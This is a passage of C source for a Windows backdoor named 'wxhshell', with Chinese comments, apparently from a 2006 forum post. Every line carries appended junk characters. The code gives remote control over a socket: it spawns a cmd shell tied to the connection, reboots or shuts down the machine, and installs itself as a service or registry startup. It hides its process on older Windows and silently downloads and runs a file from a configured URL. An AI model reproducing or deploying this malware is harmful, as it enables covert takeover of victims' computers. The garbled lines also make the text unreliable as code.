  else { 8jz[;.jP",  
a-Ef$(i_  
    switch(cmd[0]) { z}f;_NX  
  \r7gubD  
  // 帮助 ``* !b >)  
  case '?': { -e(,>9Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6> Ca O  
    break; o; N s-=  
  } &7m)K>E27  
  // 安装 bk{.9nz2  
  case 'i': { %eDJ]\*^X  
    if(Install()) PP_fTacX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H]d'#1G  
    else M +Jcg b]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9 &p;2/H  
    break; *&sXC@^@^  
    } Oxq} dX7S  
  // 卸载 *Qe{CE  
  case 'r': { #RWHk  
    if(Uninstall()) rm nfyn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z(dX<  
    else Zk#?.z}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >HlQ+bl$xw  
    break; v'W`\MKY)  
    } [*|QA 9  
  // 显示 wxhshell 所在路径 H]JVv8  
  case 'p': { 96.Vm*/7  
    char svExeFile[MAX_PATH]; 5*31nMP\  
    strcpy(svExeFile,"\n\r"); cAAyyc"yJ  
      strcat(svExeFile,ExeFile); wc6v:,&  
        send(wsh,svExeFile,strlen(svExeFile),0); Pu7cL  
    break; At=l>  
    } 2W]y9)<c  
  // 重启 qtLXdSc  
  case 'b': { jYi{[* *  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0&k!=gj:>Z  
    if(Boot(REBOOT)) X=d;WT4,,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *N|s+  
    else { n]+v Eu|  
    closesocket(wsh); - yn;Jo2-  
    ExitThread(0); Wy.Xx-3W  
    } e:H9!  
    break;  ;%tu;  
    } +HxL>\  
  // 关机 NDaM;`  
  case 'd': { _$Hx:^p:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bu|ecv  
    if(Boot(SHUTDOWN)) wBK%=7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  L4,Ke  
    else { )-4xI4  
    closesocket(wsh); Md4JaFA(  
    ExitThread(0); _Z|3qQ  
    } :5M7*s)e16  
    break; V*U*_Y  
    } :x<'>)6  
  // 获取shell ;uazQyo6  
  case 's': { /2\%X`]<  
    CmdShell(wsh); |,wp@)e6h  
    closesocket(wsh); +5BhC9=b  
    ExitThread(0); A/4HR]  
    break; fQB>0RR2  
  } CL-mt5Kx#7  
  // 退出 =1}Umn|ZLS  
  case 'x': { C'c9AoE5>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p#V h[UTl^  
    CloseIt(wsh); mtON dI  
    break; )KLsa`RV:  
    } %4Thb\T  
  // 离开 bqt*d)$  
  case 'q': { tsA+B&R_]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VYZkHjj)2i  
    closesocket(wsh); uM^eoh_  
    WSACleanup(); m% {4  
    exit(1); =tv,B3Mo  
    break; 1E*No1  
        } %EooGHGF?  
  } ~KufSt *  
  } .#] V5g,  
R""P01IZH  
  // 提示信息 rK\)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :OVre*j  
} E.kjYIH8  
  } . .|>|X4  
2y&m8_s-p  
  return; Z/wK UK;  
} D{{ ME8  
R{5xb  
// shell模块句柄 YYz,sR'%|}  
int CmdShell(SOCKET sock) 'xUyGj:  
{ 9;^r  
STARTUPINFO si; lKd+,<  
ZeroMemory(&si,sizeof(si)); \P;%fN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aF9p%HPDw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?_L)|:WL  
PROCESS_INFORMATION ProcessInfo; =Kv*M@  
char cmdline[]="cmd"; PSO9{!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^qaS  
  return 0; `!.)"BI/s  
} )@xHL]!5m  
GIt~"X  
// 自身启动模式 e `!PQMLU  
int StartFromService(void) 1N_Gk&  
{ R7o3X,-iwn  
typedef struct * ?a-m\  
{ G $TLWfm  
  DWORD ExitStatus; cu4&*{  
  DWORD PebBaseAddress; 8X@p?43  
  DWORD AffinityMask; S0\;FmLIc  
  DWORD BasePriority; bm>,$GW(  
  ULONG UniqueProcessId; v>FsP$p4yE  
  ULONG InheritedFromUniqueProcessId; Lbka*@  
}   PROCESS_BASIC_INFORMATION; I6x  
;/ iBP2  
PROCNTQSIP NtQueryInformationProcess; [4NJ]r M%  
FYI*44E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hE41$9?TJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F_9eju^|  
"F(LTppy  
  HANDLE             hProcess; i(^&ZmG  
  PROCESS_BASIC_INFORMATION pbi; kCXQHX  
 :1q)l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s4@dEK8W  
  if(NULL == hInst ) return 0; v)*/E'Cr*  
lLO|,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J6eF7 fa  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8\?7k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]xlV;m  
4!pMZ<$3  
  if (!NtQueryInformationProcess) return 0; }Km+5'G'U  
cnQ;6LtFTz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c/Fy1Lv\  
  if(!hProcess) return 0; v=A ]#O%  
'~HCYE:5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7~@9=e8G  
^t&S?_DSZ  
  CloseHandle(hProcess); Q k e8BRBn  
}pJ6CW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3BuG_ild  
if(hProcess==NULL) return 0; _d#1muZ?p|  
Y40`~  
HMODULE hMod; &@tD/Jw3  
char procName[255]; :a M ZJm  
unsigned long cbNeeded; *f%uc  
si:p98[w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UEZnd8  
OOzk@j^  
  CloseHandle(hProcess); v=kQ / h  
KMO(f!?  
if(strstr(procName,"services")) return 1; // 以服务启动 J<g$hk  
s}8(__|  
  return 0; // 注册表启动 Hc`)Q vFRW  
} EwvW: t1  
4~mYj@lvd  
// 主模块 WmO.&zp  
int StartWxhshell(LPSTR lpCmdLine) )-D{]>8  
{ C` s  
  SOCKET wsl; ?b?6/_W~R  
BOOL val=TRUE; F't4Q  
  int port=0; KIyhvY~  
  struct sockaddr_in door; K`7(*!HEb  
Akar@wh  
  if(wscfg.ws_autoins) Install(); ObK-<kGcB  
[1+ o  
port=atoi(lpCmdLine); ;DQ{6(  
:@mBSE/  
if(port<=0) port=wscfg.ws_port; J7Z`wjX1  
^HJvT)e4  
  WSADATA data; |;~kHc$W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Un [olp  
xF:}a:c@H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DRp h?V\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MIV<"A  
  door.sin_family = AF_INET; :%_*C09  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RKIBFP8.  
  door.sin_port = htons(port); 3X &'hz@  
S511}KPbm/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D<V[:~-o  
closesocket(wsl); ]]sy+$@~  
return 1; /wt!c?wR  
} }> q%##<n  
~>&Jks_Q  
  if(listen(wsl,2) == INVALID_SOCKET) { Lek!5Ug  
closesocket(wsl); ua!i3]18  
return 1; {RG4m{#9  
} i5PZ)&  
  Wxhshell(wsl); +c7e[hz  
  WSACleanup(); LS"_-4I}  
^{<!pvT  
return 0; 5 )A(q\  
!?AgAsSmc  
} [h5~1N  
|M8FMH[_  
// 以NT服务方式启动 c0 I;8z`b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *Z9Rl>  
{ cDkq@H:   
DWORD   status = 0; O V"5:){  
  DWORD   specificError = 0xfffffff; Rcn6puZt  
=3~5I&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "b~-`ni  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `6No6.\J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [Sj _=  
  serviceStatus.dwWin32ExitCode     = 0; /JqNiqvh  
  serviceStatus.dwServiceSpecificExitCode = 0; iBqxz:PHN(  
  serviceStatus.dwCheckPoint       = 0; ??]b,f4CNa  
  serviceStatus.dwWaitHint       = 0; B;vpG?s{9  
E;o "^[we  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]QJ N` ;b0  
  if (hServiceStatusHandle==0) return; nB|m!fi<  
&06pUp iS  
status = GetLastError(); |8{c|Qz  
  if (status!=NO_ERROR) 'DhH:PR  
{ <MQTOz oj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kd=|Iip;(  
    serviceStatus.dwCheckPoint       = 0; L*(!P4S%}  
    serviceStatus.dwWaitHint       = 0; J<9;Ix8R  
    serviceStatus.dwWin32ExitCode     = status; hifC.guK  
    serviceStatus.dwServiceSpecificExitCode = specificError; FjU -t/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2Wx~+@1y  
    return; dzbFUDJ  
  } |34M.YjA  
0en Bq>vr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G m~2s;/  
  serviceStatus.dwCheckPoint       = 0; =C(((T.  
  serviceStatus.dwWaitHint       = 0; _O$7*k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #dj,=^1_14  
} lf9mdbm  
_'}Mg7,V  
// 处理NT服务事件,比如:启动、停止 j /)A<j$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6JB* brO  
{ <*3#nA-O>i  
switch(fdwControl) J=?P`\h  
{ &&>Tfzh  
case SERVICE_CONTROL_STOP: n8.Tag(#  
  serviceStatus.dwWin32ExitCode = 0; WNK)IC~c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <hBd #J  
  serviceStatus.dwCheckPoint   = 0; 0% zy 6{  
  serviceStatus.dwWaitHint     = 0; ~7$jW[i  
  { cna/?V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [Te"|K':  
  } o:c:hSV  
  return; ?'^dYQ4  
case SERVICE_CONTROL_PAUSE: d "%6S*dL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3Hi[Y[O`%P  
  break; :soR7oHZ  
case SERVICE_CONTROL_CONTINUE: pmuT7*<19  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RQ;}+S  
  break; 5_[we1$P  
case SERVICE_CONTROL_INTERROGATE: J,D^fVIw  
  break; =5q_aK#i  
}; &Vy.)0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mO0}Go8  
} a^7HI,  
zrL+:/t  
// 标准应用程序主函数 \qkb8H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q+U&lw|"w  
{ V)Ze> Pp  
Lk]W?  
// 获取操作系统版本 Nz%Yi?AF  
OsIsNt=GetOsVer(); =Bos>;dl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9P&{Xhs7  
b6d}<b9#  
  // 从命令行安装 4G'-"u^g  
  if(strpbrk(lpCmdLine,"iI")) Install(); T_ga?G<  
>^GAfvW  
  // 下载执行文件 N gagzsJ=  
if(wscfg.ws_downexe) { Gx;-1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IqCh4y3  
  WinExec(wscfg.ws_filenam,SW_HIDE); UG=],\E2  
} X }Fqif4A  
U"535<mR  
if(!OsIsNt) { `RyH~4\;  
// 如果时win9x,隐藏进程并且设置为注册表启动 3|(3jIa  
HideProc(); l}~9xa}:D|  
StartWxhshell(lpCmdLine); N6BEl55 &  
} .RpWE.C  
else Rnw v/)  
  if(StartFromService()) \u*[mrX_B:  
  // 以服务方式启动 ~_|CXPiQ8  
  StartServiceCtrlDispatcher(DispatchTable); $msf~M*  
else ;v5Jps2^]  
  // 普通方式启动 0QY9vuhL<  
  StartWxhshell(lpCmdLine); '[p0+5*x  
{'6-;2&f  
return 0; ,[[Xo;q  
}
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只看该作者 1 发表于: 2006-10-10
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